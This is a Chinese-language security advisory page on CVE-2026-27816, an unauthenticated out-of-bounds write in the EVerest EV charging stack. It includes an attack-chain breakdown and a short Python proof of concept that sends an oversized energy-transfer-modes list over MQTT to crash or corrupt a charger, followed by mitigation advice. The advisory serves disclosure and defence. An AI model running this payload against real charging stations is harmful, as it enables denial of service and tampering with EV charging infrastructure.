IPBUF安全漏洞报告
English
CVE-2026-27816 CVSS 9.1 严重

CVE-2026-27816 EVerest越界写入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-27816
漏洞类型
缓冲区溢出
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest

相关标签

缓冲区溢出EVerest越界写入物联网安全MQTT

漏洞概述

EVerest是一个电动汽车充电软件栈。在2026.02.0版本之前,`ISO15118_chargerImpl::handle_update_energy_transfer_modes`函数存在安全漏洞。该函数在处理数据时,未进行边界检查,将变长列表复制到固定大小的数组中。由于默认禁用了schema验证,攻击者可以通过发送过大的MQTT指令载荷,触发越界写入,导致相邻EVSE状态损坏或进程崩溃。

技术细节

该漏洞的根本原因在于EVerest软件栈中`ISO15118_chargerImpl`组件的实现缺陷。具体来说,`handle_update_energy_transfer_modes`函数负责处理能量传输模式的更新。该函数接收一个变长列表,却试图将其复制到一个长度仅为6的固定大小数组中,且未实施必要的边界检查机制。

由于系统默认禁用了MQTT消息的schema验证,这为攻击者提供了可乘之机。攻击者无需认证即可向受影响的EVSE(供电设备)发送特制的、超大的MQTT Cmd(命令)载荷。当系统处理该载荷时,变长列表数据会溢出目标缓冲区,发生堆栈溢出或堆溢出。这种越界写入不仅可能破坏关键的EVSE状态数据,导致完整性受损,还可能直接导致充电服务进程崩溃,造成拒绝服务。

攻击链分析

STEP 1
1. 侦察
攻击者扫描网络,寻找暴露的EVerest充电站管理接口,特别是开放的MQTT服务端口(通常为1883)。
STEP 2
2. 武器化
攻击者构造一个特制的MQTT消息载荷,其中包含一个元素数量超过6个的`energy_transfer_modes`列表。
STEP 3
3. 投递
攻击者通过网络向目标设备的MQTT代理发送该恶意载荷,无需任何身份认证即可发送。
STEP 4
4. 利用
目标EVerest进程调用`handle_update_energy_transfer_modes`函数处理该载荷,将长列表复制到大小为6的固定数组,导致越界写入。
STEP 5
5. 影响
越界写入破坏相邻内存中的EVSE状态数据,或者直接导致充电服务进程崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import json import time # Target Configuration TARGET_BROKER = "192.168.x.x" # Replace with target IP TARGET_PORT = 1883 # The specific topic might vary based on EVerest configuration, # but it triggers the ISO15118_chargerImpl::handle_update_energy_transfer_modes function. TOPIC = "iso15118/charger/update_energy_transfer_modes" def exploit(): client = mqtt.Client("Exploit_Client") try: client.connect(TARGET_BROKER, TARGET_PORT, 60) print(f"[+] Connected to {TARGET_BROKER}") # Construct malicious payload # Vulnerability: copies a variable-length list into a fixed-size array of length 6. # Sending > 6 items triggers out-of-bounds write. payload = { "energy_transfer_modes": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] } message = json.dumps(payload) client.publish(TOPIC, message) print(f"[+] Malicious payload sent to topic: {TOPIC}") print("[+] Payload content:", message) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

EVerest < 2026.02.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员在网络边界限制对EVerest MQTT端口的访问,仅允许可信IP连接。此外,检查并尝试启用schema验证功能,以拦截异常的畸形数据包,降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表